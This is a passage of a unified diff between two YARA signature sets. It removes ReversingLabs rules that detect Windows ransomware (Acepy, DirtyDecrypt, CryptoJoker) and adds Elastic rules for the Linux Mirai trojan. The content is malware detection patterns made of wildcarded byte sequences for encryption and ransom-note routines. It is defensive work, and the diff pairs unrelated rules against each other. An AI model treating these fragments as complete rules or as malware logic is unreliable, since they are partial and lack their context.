-            00 03 19 17 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 0B 06 07
-            16 07 8E 69 6F ?? ?? ?? ?? 26 06 6F ?? ?? ?? ?? 00 03 18 18 73 ?? ?? ?? ??
-            0C 73 ?? ?? ?? ?? 0D 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 00 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 00 09 6F ?? ?? ?? ?? 13 ?? 08 11 ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 07
-            16 07 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00
-            03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A
-        }
+		$a = { 10 85 C0 BA FF FF FF FF 74 14 8D 65 F4 5B 5E 5F 89 D0 5D C3 8D }
 
 	condition:
-		uint16(0)==0x5A4D and ($search_files and $search_drives and $encrypt_files)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Acepy : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_5C62E6B2 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Acepy ransomware."
-		author = "ReversingLabs"
-		id = "3ffb45b1-6bde-5bf8-957e-433b9488ba91"
-		date = "2022-08-04"
-		modified = "2022-08-04"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Acepy.yara#L1-L69"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "92c543a0b8c3c884f83647119d32c7b46f5fe839694bb8a8de0146c5c77bc587"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L617-L635"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9"
+		logic_hash = "6505c4272f0f7c8c5f2d3f7cefdc3947c4015b0dfd94efde4357a506af93a99d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Acepy"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ??
-            83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ?? ??
-            83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            B8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50
-            8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? C9 C3
-        }
-		$encrypt_files = {
-            55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 40 50 B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? B8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 39 C8 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            8B 45 ?? 89 C1 40 89 45 ?? EB ?? 8B 45 ?? 8B 4D ?? 01 C1 8B 45 ?? 8B 55 ?? 01 C2 8B
-            45 ?? 50 89 4D ?? 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 8B 4D ?? 31 D2
-            F7 F1 8B 45 ?? 01 D0 8B 4D ?? 0F BE 09 0F BE 10 31 D1 8B 45 ?? 88 08 EB ?? B8 ?? ??
-            ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 B9 ?? ?? ?? ?? 51 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C9 C3
-        }
-		$drop_ransom_note = {
-            55 89 E5 81 EC ?? ?? ?? ?? 90 B8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 8B 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 50 B8 ?? ?? ?? ?? 50 B8
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ??
-            ?? ?? C9 C3
-        }
+		$a = { FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48 }
 
 	condition:
-		uint16(0)==0x5A4D and (($find_files) and ($encrypt_files) and ($drop_ransom_note))
+		all of them
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Dirtydecrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_C5430Ff9 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects DirtyDecrypt ransomware."
-		author = "ReversingLabs"
-		id = "f4d69c3e-a082-5bc9-bf72-4cc330d3de74"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DirtyDecrypt.yara#L3-L112"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "eb6a1c376b0739848b523e741d0d1ebdbc87056d51931fb94c744aa094d6479f"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "c5430ff9-af40-4653-94c3-4651a5e9331e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L637-L655"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5676773882a84d0efc220dd7595c4594bc824cbe3eeddfadc00ac3c8e899aa77"
+		logic_hash = "8c385980560cd4b24e703744b57a9d5ea1bca8fbeea066e98dd4b40009e56104"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "DirtyDecrypt"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a19dcb00fc5553d41978184cc53ef93c36eb9541ea19c6c50496b4e346aaf240"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$dd_ep = {
-            55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 BF 00 00 00 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74
-            1F 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB
-            09 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D ?? ?? 73 15 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 44 95 ?? EB DC 6A ?? 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ??
-            8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A
-            ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2 ?? ??
-        }
-		$dd_hash = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 D5 00 00 00 83 7D ?? ?? 0F 84 CB 00 00 00 83 7D ?? ?? 0F 84 C1
-            00 00 00 83 7D ?? ?? 0F 84 B7 00 00 00 83 7D ?? ?? 0F 84 AD 00 00 00 83 7D ?? ?? 0F 84 A3 00 00 00 C7 45 ?? ?? ?? ?? ??
-            8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 6F 83 7D ?? ?? 76 2A 6A ?? 6A ?? 8B
-            55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 51 8B 4D ?? 83 E9 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 6A ?? 8B
-            45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 25 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B
-            45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 33 C9 0F 85 74 FF FF FF 83 7D ?? ?? 74 0A 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B
-            E5 5D C2 ?? ??
-        }
-		$dd_getkey = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 31 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 8B 55
-            ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 89 45 ?? 8B 45 ?? 8B E5 5D C2 ?? ??
-        }
-		$dd_destroykey = {
-            55 8B EC 83 7D ?? ?? 74 0A 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5D C2
-        }
-		$dd_importkey = {
-            55 8B EC 51 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 8B 08 51 8B 55 ?? 52 FF 15 ?? ??
-            ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ??
-        }
-		$dd_decrypt = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 22 01 00 00 83 7D ?? ?? 0F 84 18 01 00 00 83 7D ?? ?? 0F 84 0E
-            01 00 00 83 7D ?? ?? 0F 84 04 01 00 00 83 7D ?? ?? 0F 84 FA 00 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 33 D2
-            F7 75 ?? 0F AF 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 02 03 45 ?? 89 45 ?? 8B 4D ?? 8B 11 03 55 ?? 52 8B 45 ?? 8B
-            08 51 6A ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 02 8B 45 ?? 83 38 ?? 0F 84 A7 00 00 00 8B 4D ?? 8B 11 8B 45 ?? 03 10 89 55 ?? 83
-            7D ?? ?? 74 61 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 45 ??
-            89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 1D 8B 4D ?? 03 4D ?? 89
-            4D ?? 8B 55 ?? 2B 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89 45 ?? EB 99 83 7D ?? ?? 75 15 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 45 ??
-            2B 02 8B 4D ?? 89 01 EB 18 8B 55 ?? 8B 02 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2
-            ?? ??
-        }
-		$dd_encrypt = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 89 01 00 00 83 7D ?? ?? 0F 84 7F 01 00 00 83 7D ?? ?? 0F 84 75
-            01 00 00 83 7D ?? ?? 0F 84 6B 01 00 00 83 7D ?? ?? 0F 84 61 01 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 83 E9
-            ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 26 01
-            00 00 8B 55 ?? 3B 55 ?? 76 08 8B 45 ?? 89 45 ?? EB 06 8B 4D ?? 89 4D ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 33 D2 F7 75 ?? 0F AF
-            45 ?? 8B 4D ?? 8B 11 03 D0 03 55 ?? 89 55 ?? 8B 45 ?? 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 55 ??
-            83 3A ?? 0F 84 CF 00 00 00 8B 45 ?? 8B 08 8B 55 ?? 03 0A 89 4D ?? 83 7D ?? ?? 0F 84 84 00 00 00 8B 45 ?? 3B 45 ?? 73 08
-            8B 4D ?? 89 4D ?? EB 06 8B 55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B
-            4D ?? 89 4D ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 2D 8B
-            45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D ?? 03 4D ?? 89 4D ?? E9
-            72 FF FF FF 83 7D ?? ?? 75 16 8B 55 ?? 8B 45 ?? 2B 02 8B 4D ?? 89 01 C7 45 ?? ?? ?? ?? ?? EB 18 8B 55 ?? 8B 02 50 8B 4D
-            ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2 ?? ??
-        }
-		$dd_provparam = {
-            55 8B EC 83 EC ?? 83 7D ?? ?? 0F 84 94 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ??
-            8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 74 3F 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 2A 6A ?? 8D 45 ??
-            50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 10 8B 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B
-            4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 1D 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 E8
-            ?? ?? ?? ?? 8B E5 5D C2 ?? ??
-        }
-		$dd_acquirecontext = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 0B 8B 45 ?? 0D ?? ?? ?? ?? 89 45 ?? C7 45 ??
-            ?? ?? ?? ?? 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ?? ??
-            ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 39 8B 45 ?? 83 C8 ?? 50 6A ?? 8B 4D
-            ?? 51 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 1A 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ??
-            85 C0 75 02 EB 0E 6A ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 9D 8B 45 ?? 8B E5 5D C2 ?? ??
-        }
-		$dd_mrwhite = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 64 01 00 00 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 12 83 3D ?? ?? ?? ?? ?? 74 09 83 3D ?? ?? ?? ?? ?? 75 05 E9 13
-            01 00 00 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 75 05 E9 F0 00 00 00 8B 95
-            ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74
-            05 E9 C0 00 00 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 09 83 BD ?? ?? ?? ?? ?? 73 05 E9 9B
-            00 00 00 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            75 02 EB 72 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 02 83 C0 ?? 3B 85 ?? ?? ?? ?? 76 02 EB 51 8B 8D ??
-            ?? ?? ?? 83 39 ?? 74 3E 0F B7 95 ?? ?? ?? ?? 83 FA ?? 75 32 8B 85 ?? ?? ?? ?? 8B 08 51 8B 95 ?? ?? ?? ?? 83 C2 ?? 52 6A
-            ?? 8D 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 33 C0 0F 85 CD FE FF FF 8D 8D
-            ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ??
-        }
+		$a = { 00 00 00 FC F3 A6 0F 97 C2 0F 92 C0 38 C2 75 29 83 EC 08 8B }
 
 	condition:
-		uint16(0)==0x5A4D and ($dd_ep at pe.entry_point) and $dd_hash and $dd_getkey and $dd_destroykey and $dd_importkey and $dd_decrypt and $dd_encrypt and $dd_provparam and $dd_acquirecontext and $dd_mrwhite
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Cryptojoker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_402Adc45 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects CryptoJoker ransomware."
-		author = "ReversingLabs"
-		id = "50a9280b-a352-5a2b-acee-5690e509dfd7"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.CryptoJoker.yara#L1-L140"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "42ee1e63ada1ae986f43a1300eda0b1fa7b54c26be31ef5637bb321defffbe40"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "402adc45-6279-44a6-b766-24706b0328fe"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L657-L675"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ae0cd7e5bac967e31771873b4b41a1887abddfcdfcc76fa9149bb2054b03ca4"
+		logic_hash = "dab879d57507d5e119ddf4ce6ed33570c74f185a2260e97a7ec1d6c844943e5d"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "CryptoJoker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "01b88411c40abc65c24d7a335027888c0cf48ad190dd3fa1b8e17d086a9b80a0"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$call_encrypt = {
-            2B 02 26 16 FE 09 00 00 FE 09 01 00 FE 09 02 00 6F ?? ?? ?? ?? 2A
-        }
-		$encrypt_files = {
-            2B 02 26 16 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 20 00 04 ?? ?? 73 ?? ?? ?? ?? 0C 20 05 ?? ?? ??
-            16 39 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 20 04 ?? ?? ?? FE ?? ?? ?? FE ?? ??
-            ?? 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26
-            20 03 ?? ?? ?? 16 39 ?? ?? ?? ?? 26 00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ??
-            ?? ?? ?? 26 20 00 ?? ?? ?? 38 ?? ?? ?? ?? 00 00 08 06 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ??
-            ?? ?? 26 20 03 ?? ?? ?? 38 ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 13 04 20 04 ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ??
-            26 00 08 07 17 28 ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 20 03 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 ?? ?? ?? ?? 26 20 02 ?? ?? ?? 38 ?? ?? ?? ?? 11 04
-            13 05 DD ?? ?? ?? ?? 00 08 16 28 ?? ?? ?? ?? 00 00 DC 08 14 FE 01 13 06 11 06 3A ?? ?? ?? ?? 08 28 ?? ?? ??
-            ?? 00 DC 00 11 05 2A
-        }
-		$start_process = {
-            2B ?? 26 16 20 10 ?? ?? ?? 38 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 20 ?? ?? ?? ??
-            38 ?? ?? ?? ?? 00 11 05 17 28 ?? ?? ?? ?? 20 06 ?? ?? ?? 38 ?? ?? ?? ?? 00 28 ?? ?? ?? ??
-            0A 20 09 ?? ?? ?? 38 ?? ?? ?? ?? 00 11 05 08 28 ?? ?? ?? ?? 20 12 ?? ?? ?? 38 ?? ?? ?? ??
-            11 06 17 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38
-            ?? ?? ?? ?? 11 05 17 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 38 ?? ?? ?? ?? 11 06 19 20 ?? ?? ?? ??
-            28 ?? ?? ?? ?? A2 20 0F ?? ?? ?? 38 ?? ?? ?? ?? 1A 8D ?? ?? ?? ?? 13 06 20 02 ?? ?? ?? 38
-            ?? ?? ?? ?? 00 11 04 28 ?? ?? ?? ?? 26 20 13 ?? ?? ?? 38 ?? ?? ?? ?? 08 09 28 ?? ?? ?? ??
-            20 07 ?? ?? ?? 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 05 38 ?? ?? ?? ?? 26 20 0D ?? ?? ?? 38 ??
-            ?? ?? ?? 11 06 0D 38 ?? ?? ?? ?? 20 10 ?? ?? ?? FE ?? ?? ?? FE ?? ?? ?? 45 ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
-            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20 08 ?? ?? ?? 17 3A ?? ?? ?? ??
-            26 11 06 18 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 20 00 ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ??
-            26 06 07 28 ?? ?? ?? ?? 0C 20 0B ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 26 11 06 16 20 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? A2 17 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 26 20 03 ?? ?? ?? 16 39 ?? ??
